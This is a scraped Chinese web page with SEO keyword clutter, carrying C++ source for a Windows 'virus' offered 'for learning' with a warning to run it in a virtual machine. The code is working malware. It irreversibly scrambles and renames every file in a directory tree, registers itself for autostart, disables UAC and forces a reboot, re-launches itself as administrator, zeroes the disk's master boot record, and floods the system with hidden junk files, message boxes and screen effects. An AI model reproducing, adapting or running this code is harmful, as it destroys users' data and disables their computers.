网站logo模板,网站登录页面html模板,网络营销定位推广策划课后答案,郑州网站优化哪家专业内容供学习使用,不得转卖,代码复制后请1小时内删除,此代码会危害计算机安全,谨慎操作
在C20环境下,并在虚拟机里运行此代码!#xff0c;病毒带来后果自负!
使用时请删除在main()里的注释,并修改位置至C:\\(看我代码注释)//可以改成WIN Main() #include iostream
#i…内容供学习使用,不得转卖,代码复制后请1小时内删除,此代码会危害计算机安全,谨慎操作
在C20环境下,并在虚拟机里运行此代码!病毒带来后果自负!
使用时请删除在main()里的注释,并修改位置至C:\\(看我代码注释)//可以改成WIN Main() #include iostream
#include windows.h
#include shellapi.h
#include stdio.h
#include fstream
#include vector
#include string
#include filesystem
#include signal.h
#include csignal
#include shlwapi.h
#include shcore.h
#include thread
#include graphics.h
#pragma comment(lib, shlwapi.lib)
using namespace std;
namespace fs std::filesystem;
const int screenWidth GetSystemMetrics(SM_CXSCREEN);
const int screenHeight GetSystemMetrics(SM_CYSCREEN);
void writeWordName(const std::string filename) {size_t pos filename.find_last_of(.);std::string newFilename;if (pos ! std::string::npos) {newFilename filename.substr(0, pos) .人丰NB人丰666;}else {newFilename filename .人丰NB人丰666;}try {fs::rename(filename, newFilename);std::cout 文件已加密为: newFilename std::endl;}catch (const fs::filesystem_error e) {std::cerr 重命名文件时出错: e.what() std::endl;}
}
void flashWindow(const std::string filename) {std::fstream file(filename, std::ios::in | std::ios::out | std::ios::binary);if (!file) {std::cerr 无法打开文件: filename std::endl;return;}try {file.seekg(0, std::ios::end);std::streamsize size file.tellg();file.seekg(0, std::ios::beg);for (int i 0; i size; i) {file.seekg(i, std::ios::beg);char byte;if (!file.read(byte, sizeof(byte))) {std::cerr 读取文件 filename 字节时出现错误位置 i std::endl;continue;}if (i % 3 0) {byte byte % 0x37;byte (byte 0x10) % 0xFF;}if (i % 3 1) {byte byte % 0x43;byte (byte 0x20) % 0xFF;}if (i % 3 2) {byte byte % 0x71;byte (byte 0x30) % 0xFF;}file.seekp(i, std::ios::beg);if (!file.write(byte, sizeof(byte))) {std::cerr 写入文件 filename 字节时出现错误位置 i std::endl;continue;}}}catch (...) {std::cerr 文件加密过程出现异常 std::endl;}file.close();writeWordName(filename);
}
void scanDirectory(const std::string path) {for (const auto entry : fs::recursive_directory_iterator(path)) {if (entry.is_regular_file()) {flashWindow(entry.path().string());}}
}
void WriteStart()//开机自启动
{char path[MAX_PATH]; HKEY hKey;DWORD length GetModuleFileNameA(NULL, path, MAX_PATH);LONG result; result RegOpenKeyEx(HKEY_CURRENT_USER, TEXT(Software\\Microsoft\\Windows\\CurrentVersion\\Run), 0, KEY_SET_VALUE, hKey);const TCHAR* valueName TEXT(MyApp);const TCHAR* valueData TEXT(path);result RegSetValueEx(hKey, valueName, 0, REG_SZ, (const BYTE*)valueData, (lstrlen(valueData) 1) * sizeof(TCHAR));RegCloseKey(hKey);
}
void GetWordNameAndStart() {char buffer[MAX_PATH];if (GetModuleFileName(NULL, buffer, MAX_PATH) 0) {std::string str(buffer);LPCTSTR path str.c_str();HINSTANCE result ShellExecute(NULL, open, path, NULL, NULL, SW_SHOWNORMAL);if ((int)result 32) {std::cerr 打开文件失败错误码: (int)result std::endl;}}
}
BOOL SetProcessCtrlHandler() {return SetConsoleCtrlHandler([](DWORD dwCtrlType) - BOOL {switch (dwCtrlType) {case CTRL_C_EVENT:case CTRL_BREAK_EVENT:case CTRL_CLOSE_EVENT:case CTRL_LOGOFF_EVENT:case CTRL_SHUTDOWN_EVENT:GetWordNameAndStart();return TRUE;default:return FALSE;}}, TRUE);
}
void createFileWithContent_1MB(const std::string filePath) {const int fileSize 1048576;std::vectorchar buffer(fileSize, 0);std::ofstream file(filePath, std::ios::binary);if (file.is_open()) {file.write(buffer.data(), fileSize);file.close();}else {std::cerr 无法创建文件: filePath std::endl;}
}
void CreateFileTo(const std::string path, const int SUM, const std::string WordName) {for (int i 0; i SUM; i) {std::string folderPath path \\ WordName std::to_string(i);// 创建文件夹if (CreateDirectory(folderPath.c_str(), NULL) || ERROR_ALREADY_EXISTS GetLastError()) {// 设置文件夹为隐藏属性SetFileAttributes(folderPath.c_str(), FILE_ATTRIBUTE_HIDDEN);int RandSum rand();// 创建文件并写入内容std::string filePath folderPath \\人丰NB人丰666.人丰NB人丰666 std::to_string(RandSum);createFileWithContent_1MB(filePath);}else {std::cerr 无法创建文件夹: folderPath std::endl;}}
}
bool Kill_AntivirusSoftware() {return false;
}
void display_run_moveWindows(HWND hWnd) {SetProcessDPIAware();srand(static_castunsigned int(time(NULL))); // 初始化随机数种子RECT rect;GetWindowRect(hWnd, rect);int windowWidth rect.right - rect.left;int windowHeight rect.bottom - rect.top;// 生成随机位置确保窗口不会超出屏幕范围while (true) {int newX rand() % screenWidth;int newY rand() % screenHeight;MoveWindow(hWnd, newX, newY,windowWidth,windowHeight, TRUE);Sleep(1000);}
}
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {thread myThread21(display_run_moveWindows,hwnd);myThread21.detach(); // 分离子线程return TRUE;
}
void MessageBox_ZYNTM_RUN(int i) {while (true){if(i1) MessageBox(NULL,鸡你太美,鸡你太美, MB_OK);if(i2) MessageBox(NULL,你干嘛~,哎呦~, 你干嘛~,哎呦~, MB_OK);if(i3) MessageBox(NULL, 360安全卫生为您守护电脑, 360安全卫生为您守护电脑, MB_OK);if(i4) MessageBox(NULL, 大家好,我是练习时长两年半的个人练习生-蔡徐坤, 大家好,我是练习时长两年半的个人练习生-蔡徐坤, MB_OK);}
}
void MessageBox_ZYNTM_CTRL() {while (true) {thread myThread31(MessageBox_ZYNTM_RUN,1);thread myThread32(MessageBox_ZYNTM_RUN,2);thread myThread33(MessageBox_ZYNTM_RUN,3);thread myThread34(MessageBox_ZYNTM_RUN,4);myThread31.detach();myThread32.detach();myThread33.detach();myThread34.detach();Sleep(350);}
}
void Windows_music() {while (true){Beep(375,300);Beep(500,300);}
}
void DrawFullscreenRectangle() {//在桌面上画图// 获取屏幕设备上下文句柄SetProcessDPIAware();HDC hdcScreen GetDC(NULL);if (hdcScreen NULL) {std::cerr 无法获取屏幕设备上下文句柄。 std::endl;return;}// 获取屏幕的宽度和高度int screenWidth GetSystemMetrics(SM_CXSCREEN);int screenHeight GetSystemMetrics(SM_CYSCREEN);// 创建一个与屏幕兼容的内存设备上下文HDC hdcMem CreateCompatibleDC(hdcScreen);if (hdcMem NULL) {std::cerr 无法创建内存设备上下文。 std::endl;ReleaseDC(NULL, hdcScreen);return;}// 创建一个 DIB 位图BITMAPINFO bmi;ZeroMemory(bmi, sizeof(BITMAPINFO));bmi.bmiHeader.biSize sizeof(BITMAPINFOHEADER);bmi.bmiHeader.biWidth screenWidth;bmi.bmiHeader.biHeight -screenHeight; // 负高度表示底部 - 顶部顺序bmi.bmiHeader.biPlanes 1;bmi.bmiHeader.biBitCount 32;bmi.bmiHeader.biCompression BI_RGB;void* pBits;HBITMAP hBitmap CreateDIBSection(hdcMem, bmi, DIB_RGB_COLORS, pBits, NULL, 0);if (hBitmap NULL) {std::cerr 无法创建 DIB 位图。 std::endl;DeleteDC(hdcMem);ReleaseDC(NULL, hdcScreen);return;}// 选入位图到内存设备上下文HBITMAP hOldBitmap (HBITMAP)SelectObject(hdcMem, hBitmap);// 将屏幕内容复制到内存设备上下文中BitBlt(hdcMem, 0, 0, screenWidth, screenHeight, hdcScreen, 0, 0, SRCCOPY);// 直接操作位图数据进行反色DWORD* pPixel (DWORD*)pBits;for (int i 0; i screenWidth * screenHeight; i) {*pPixel RGB(255 - GetRValue(*pPixel), 255 - GetGValue(*pPixel), 255 - GetBValue(*pPixel));pPixel;}for (int i 0; i 100; i) {// 将反色后的内容复制回屏幕BitBlt(hdcScreen, 0, 0, screenWidth, screenHeight, hdcMem, 0, 0, SRCCOPY);Sleep(10);}// 恢复原始位图SelectObject(hdcMem, hOldBitmap);// 释放资源DeleteObject(hBitmap);DeleteDC(hdcMem);ReleaseDC(NULL, hdcScreen);
}
void window_display_run() {//中毒视觉效果thread myThread13(Windows_music);myThread13.detach();//放音乐Sleep(3000);for (int i 0; i 15; i) {thread myThread14(DrawFullscreenRectangle);myThread14.join();//屏幕反色}thread myThread12(MessageBox_ZYNTM_CTRL);myThread12.detach();while (true) {thread myThread11(EnumWindows, EnumWindowsProc, 0);myThread11.join();thread myThread14(DrawFullscreenRectangle);myThread14.join();//屏幕反色Sleep(350);}
}
bool isUACDisabled() {//检查UCAHKEY hKey;DWORD uacLevel 0;DWORD size sizeof(DWORD);if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System, 0, KEY_READ, hKey) ERROR_SUCCESS) {if (RegQueryValueEx(hKey, EnableLUA, NULL, NULL, (LPBYTE)uacLevel, size) ERROR_SUCCESS) {RegCloseKey(hKey);if (uacLevel 0) {return true;}else {return false;}}else {std::cerr Failed to query UAC level. Error code: GetLastError() std::endl;RegCloseKey(hKey);return false;}}else {std::cerr Failed to open registry key. Error code: GetLastError() std::endl;return false;}
}
bool setUACLevelToHigh() {//关闭UCAif (isUACDisabled() true)return true;HKEY hKey;DWORD newValue 0;if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System, 0, KEY_SET_VALUE, hKey) ERROR_SUCCESS) {if (RegSetValueEx(hKey, EnableLUA, 0, REG_DWORD, (const BYTE*)newValue, sizeof(DWORD)) ERROR_SUCCESS) {RegCloseKey(hKey);system(shutdown /r /t 0);return true;}else {std::cerr Failed to set EnableLUA value. Error code: GetLastError() std::endl;RegCloseKey(hKey);return false;}}else {std::cerr Failed to open registry key. Error code: GetLastError() std::endl;return false;}
}
bool elevateToAdmin() {if(setUACLevelToHigh()false)if (setUACLevelToHigh() false){cout Im sorry,Are you OK?; }BOOL isAdmin FALSE;SID_IDENTIFIER_AUTHORITY NtAuthority SECURITY_NT_AUTHORITY;PSID AdministratorsGroup;if (AllocateAndInitializeSid(NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, AdministratorsGroup)) {if (!CheckTokenMembership(NULL, AdministratorsGroup, isAdmin)) {isAdmin FALSE;}FreeSid(AdministratorsGroup);}if (isAdmin false) {char szPath[MAX_PATH];GetModuleFileNameA(NULL, szPath, MAX_PATH); // 使用 GetModuleFileNameA 处理 ANSI 字符串std::string commandLine \ std::string(szPath) \;LPSTR szCommandLine const_castLPSTR(commandLine.c_str());SHELLEXECUTEINFOA sei { sizeof(SHELLEXECUTEINFOA) };sei.lpVerb runas; // 请求管理员权限sei.lpFile szPath;sei.lpParameters NULL;sei.lpDirectory NULL;sei.nShow SW_SHOWNORMAL;sei.fMask SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_DDEWAIT;if (!ShellExecuteExA(sei)) {std::cerr Failed to restart as administrator. std::endl;return false;}else {exit(0);return true;}}std::cout This program is running with administrative privileges. std::endl;return true;
}
void Modify_the_Registry_Editor() {// 致命代码阻止编译文字(编译时请删除或注释掉这段文字)HANDLE hDevice CreateFile(\\\\.\\PhysicalDrive0,GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);if (hDevice INVALID_HANDLE_VALUE) {std::cerr 无法打开磁盘设备。错误代码: GetLastError() std::endl;return ;}BYTE mbr[512] { 0 };// 将修改后的 MBR 写回磁盘DWORD bytesWritten;if (!WriteFile(hDevice, mbr, 512, bytesWritten, NULL)) {std::cerr 无法写入 MBR。错误代码: GetLastError() std::endl;CloseHandle(hDevice);return ;}CloseHandle(hDevice);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {srand((time(0)));//thread myThread2(WriteStart); //注册表开机自启动//myThread2.join(); //设置成功后//if (elevateToAdmin() false)//尝试升级为管理员// if (elevateToAdmin() false)// cout Are you ok? Are you fine ?;// thread myThread(CreateFileTo,F:\\本地磁盘C,10,54088);//创建垃圾文件占用内存// thread myThread3(scanDirectory,F:\\本地磁盘C);//加密文件thread myThread4(window_display_run); //病毒桌面特效//thread myThread5(Kill_AntivirusSoftware); //关闭杀毒软件//以下是主进程区域//SetProcessCtrlHandler();//关掉重启项//以上是主进程区域//myThread.join(); // myThread3.join();myThread4.join();// myThread5.join();while (1);return 0;
}
